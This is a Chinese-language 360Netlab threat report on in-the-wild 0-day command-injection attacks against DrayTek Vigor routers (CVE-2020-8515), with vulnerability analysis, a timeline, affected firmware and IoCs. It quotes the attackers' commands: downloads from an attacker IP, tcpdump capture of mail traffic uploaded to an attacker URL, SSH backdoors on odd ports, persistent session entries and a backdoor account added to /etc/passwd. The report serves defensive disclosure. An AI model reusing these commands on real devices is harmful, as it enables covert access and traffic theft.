本文作者:马延龙叶根深刘宏达

背景介绍

从2019年12月4开始,360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞,窃听设备网络流量,开启SSH服务并创建系统后门账号,创建Web Session后门等恶意行为。

2019年12月25号,我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征,并给相关国家CERT提供技术支持。

2020年2月10号,厂商DrayTek发布安全公告[3],修复了该漏洞并发布了最新的固件程序1.5.1。

漏洞分析

我们根据Firmware Total系统[4] 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点keyPathrtick已经被厂商修复,它们均位于/www/cgi-bin/mainfunction.cgi程序中,对应的Web Server程序为/usr/sbin/lighttpd

keyPath 命令注入漏洞分析

漏洞类型:未授权远程命令执行漏洞
漏洞原因:DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式,分别为明文传输和RSA加密传输。

当使用RSA加密传输时,交互逻辑为:

  1. Web前端使用RSA公钥对用户名和密码进行加密,并用keyPath字段指定RSA私钥的文件后缀,发起登陆请求;
  2. /www/cgi-bin/mainfunction.cgi程序中的formLogin()函数检测到keyPath字段不为空时,开始进行解密操作;
  3. formLogin()函数根据keyPath字段,拼接如下路径/tmp/rsa/private_key_<keyPath>作为RSA私钥;
  4. formLogin()函数分别对用户名、密码字段进行Base64解码,并写入到/tmp/rsa/binary_login文件中,然后拼接如下命令并通过openssl命令解密;
    openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
    
  5. 最后formLogin()函数读取解密后的用户名、密码进行验证。

由于在以上过程中对keyPath字段的危险字符过滤不完善,导致无需授权的远程命令执行。

漏洞修复:在1.5.1版本中,厂商对keyPath字段限定长度为30,并限定字符必须为十六进制字符。

rtick 命令注入漏洞分析

漏洞类型:未授权远程命令执行漏洞
漏洞原因:/www/cgi-bin/mainfunction.cgi程序中获取验证码的函数是formCaptcha(),该函数没有过滤传入的时间戳(rtick),就调用/usr/sbin/captcha程序生成以<rtick>.gif为名称的验证码图片,导致命令注入。

漏洞修复:在1.5.1版本中,厂商对rtick字段限定字符必须为[0-9]

在野0-day攻击行为分析

攻击者A

  1. 攻击者A利用keyPath命令注入漏洞,下载并执行http://103.82.143.51:58172/vig/tcpst1脚本,然后继续下载并执行以下脚本。
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
  1. 攻击者A通过脚本/etc/mailsend.sh,窃听DrayTek Vigor网络设备上所有网卡,端口为21,25,143,110的流量。
    其中抓包命令为:
    /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &
    在每周一,三,五,0点0分时,通过crontab计划任务上传窃听到网络数据包/data/firewall.pcaphttps://103.82.143.51:58443/uploLSkciajUS.php

攻击者B

  1. 攻击者B利用rtick命令注入漏洞,在/var/session.json文件中创建了2组永不过期的Web Session 后门;
json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
  1. 攻击者B利用rtick注入漏洞,在TCP/22335,TCP/32459端口开启了SSH后门;
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
  1. 攻击者创建了系统后门账号wuwuhanhan:caonimuqin
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;

Web Session后门

我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置updatetime为0时,对应的功能是Auto-Logout: Disable。此时,这个Session会话永不过期,除非设备重启。

时间线

2019年12月4号,我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞,窃听设备网络流量。
2019年12月25号,我们在Twitter上披露攻击者A的IoC特征,并给相关国家CERT提供技术支持。
2020年1月28号,我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞,创建SSH和WEB后门。
2020年2月1号,MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号,DrayTek发布安全公告和最新的固件程序。

受影响的固件列表

Vigor2960           <  v1.5.1
Vigor300B           <  v1.5.1
Vigor3900           <  v1.5.1
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2

处置建议

我们建议DrayTek Vigor用户及时检查并更新固件系统,同时检查是否存在tcpdump进程,SSH后门账号, Web Session后门等。

我们建议读者对相关IP和URL进行监控和封锁。

联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

IoC list

MD5

7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007

URL

http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php

Scanner IP

103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd